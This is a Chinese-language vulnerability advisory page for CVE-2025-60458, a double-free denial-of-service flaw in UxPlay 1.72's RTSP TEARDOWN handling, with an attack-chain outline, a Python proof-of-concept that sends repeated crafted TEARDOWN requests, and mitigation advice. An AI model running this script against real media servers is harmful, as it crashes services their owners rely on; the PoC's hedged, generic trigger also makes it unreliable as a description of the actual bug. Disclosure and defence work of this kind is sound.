IPBUF安全漏洞报告
English
CVE-2025-60458 CVSS 6.5 中危

CVE-2025-60458 UxPlay 1.72 RTSP TEARDOWN请求双重释放拒绝服务漏洞

披露日期: 2025-12-29

漏洞信息

漏洞编号
CVE-2025-60458
漏洞类型
双重释放 (Double Free)
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
UxPlay

相关标签

双重释放Double Free拒绝服务DoSRTSPUxPlayAirPlay内存破坏CVE-2025-60458媒体服务器

漏洞概述

CVE-2025-60458是存在于UxPlay 1.72版本中的一个双重释放(Double Free)安全漏洞。UxPlay是一款开源的AirPlay接收器服务器软件,允许用户在Linux或其他操作系统上接收来自iOS设备的音视频流媒体内容。该漏洞存在于UxPlay的RTSP(Real Time Streaming Protocol)请求处理模块中,具体位于RTSP TEARDOWN请求的处理逻辑中。攻击者可以通过发送精心构造的RTSP TEARDOWN请求来触发该漏洞。当软件处理特制的TEARDOWN请求时,会导致同一内存地址被多次调用free()函数释放,从而引发内存破坏。这种内存破坏可能导致多种后果:程序崩溃(拒绝服务攻击)、潜在的代码执行风险(取决于内存布局和堆状态),以及其他未定义行为。由于该漏洞位于网络服务组件中,攻击者可以远程利用此漏洞,对使用UxPlay作为媒体服务器的系统造成严重影响。在默认配置下,该漏洞需要用户交互才能触发(UI:R),但一旦成功利用,将导致服务不可用,影响音视频流的正常传输。

技术细节

双重释放漏洞是一种经典的内存破坏漏洞,发生在程序对同一块堆内存进行两次free()操作时。在UxPlay 1.72的RTSP实现中,当处理TEARDOWN请求时,由于缺乏适当的内存管理机制,同一个内存块可能被释放两次。第一次free()操作会释放该内存并将其返回到堆管理器,但指针未被置空,导致存在悬空指针(dangling pointer)。当程序后续流程再次对该指针指向的地址执行free()时,就会发生双重释放。在glibc等主流内存分配器中,双重释放会触发堆元数据损坏检测,可能导致程序立即崩溃。此外,攻击者可能通过精心设计堆布局来利用双重释放实现代码执行,例如通过fastbin attack等技术。在RTSP TEARDOWN请求处理中,漏洞可能源于会话管理代码在处理连接关闭时的逻辑错误。攻击者需要构造包含特定参数的TEARDOWN请求,可能涉及不匹配的会话标识符或异常的请求序列。成功利用此漏洞需要攻击者能够与目标UxPlay服务器建立RTSP会话连接,并发送精心构造的请求数据。

攻击链分析

STEP 1
步骤1:信息收集
攻击者识别目标系统上运行的UxPlay服务版本,确认版本为1.72或更早版本,该版本存在RTSP处理漏洞
STEP 2
步骤2:建立RTSP连接
攻击者通过发送OPTIONS或DESCRIBE请求与UxPlay服务器建立RTSP会话连接,获取有效的会话标识符
STEP 3
步骤3:发送SETUP请求
攻击者发送RTSP SETUP请求建立音视频流会话,设置传输参数,获取服务器分配的资源
STEP 4
步骤4:构造恶意TEARDOWN请求
攻击者构造包含特殊参数的TEARDOWN请求,利用UxPlay 1.72中的内存管理缺陷,触发同一内存块的多次释放
STEP 5
步骤5:触发双重释放
发送精心构造的TEARDOWN请求,导致UxPlay进程对同一内存地址执行两次free()操作,破坏堆内存结构
STEP 6
步骤6:造成拒绝服务
双重释放触发堆元数据损坏,导致程序崩溃或进入不可预测状态,实现对服务的拒绝服务攻击

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 """ CVE-2025-60458 PoC - UxPlay Double Free in RTSP TEARDOWN This PoC demonstrates the double free vulnerability in UxPlay 1.72 """ import socket import sys def send_rtsp_teardown(target_ip, target_port=7000): """Send malicious RTSP TEARDOWN request to trigger double free""" # Craft a RTSP SETUP request first to establish session setup_request = ( "SETUP rtsp://{}/streamid=0 RTSP/1.0\r\n" "CSeq: 1\r\n" "Transport: RTP/AVP;unicast;client_port=8000-8001\r\n" "User-Agent: AirPlay PoC Client\r\n" "\r\n" ).format(target_ip) # Craft malicious TEARDOWN request that triggers double free teardown_request = ( "TEARDOWN rtsp://{}/streamid=0 RTSP/1.0\r\n" "CSeq: 2\r\n" "Session: MALICIOUS_SESSION_ID\r\n" "User-Agent: AirPlay PoC Client\r\n" "\r\n" ).format(target_ip) try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) sock.connect((target_ip, target_port)) print(f"[*] Sending SETUP request to establish session...") sock.send(setup_request.encode()) response = sock.recv(4096) print(f"[*] Received response: {response.decode()[:200]}...") print(f"[*] Sending malicious TEARDOWN request...") # Send multiple TEARDOWN requests to increase chance of triggering double free for i in range(3): sock.send(teardown_request.encode()) print(f"[*] TEARDOWN request {i+1} sent") response = sock.recv(4096) print(f"[*] Received final response: {response.decode()[:200]}...") sock.close() print("[+] PoC execution completed") except socket.timeout: print("[-] Connection timeout - target may be vulnerable and crashed") except socket.error as e: print(f"[-] Socket error: {e} - target may have crashed") except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} <target_ip> [port]") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 7000 print(f"[*] Target: {target}:{port}") print(f"[*] Exploiting CVE-2025-60458: UxPlay Double Free\n") send_rtsp_teardown(target, port)

影响范围

UxPlay < 1.72
UxPlay 1.72(确认受影响)

防御指南

临时缓解措施
临时缓解措施包括:1)限制对UxPlay RTSP服务的网络访问,仅允许受信任的客户端连接;2)使用防火墙规则限制RTSP端口(如7000端口)的访问源;3)部署入侵检测系统监控异常的RTSP请求模式;4)考虑使用替代的AirPlay解决方案;5)如果业务允许,临时停止UxPlay服务直到官方发布修复补丁。在生产环境中,应优先考虑网络层面的访问控制,阻止来自不可信网络的RTSP请求。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表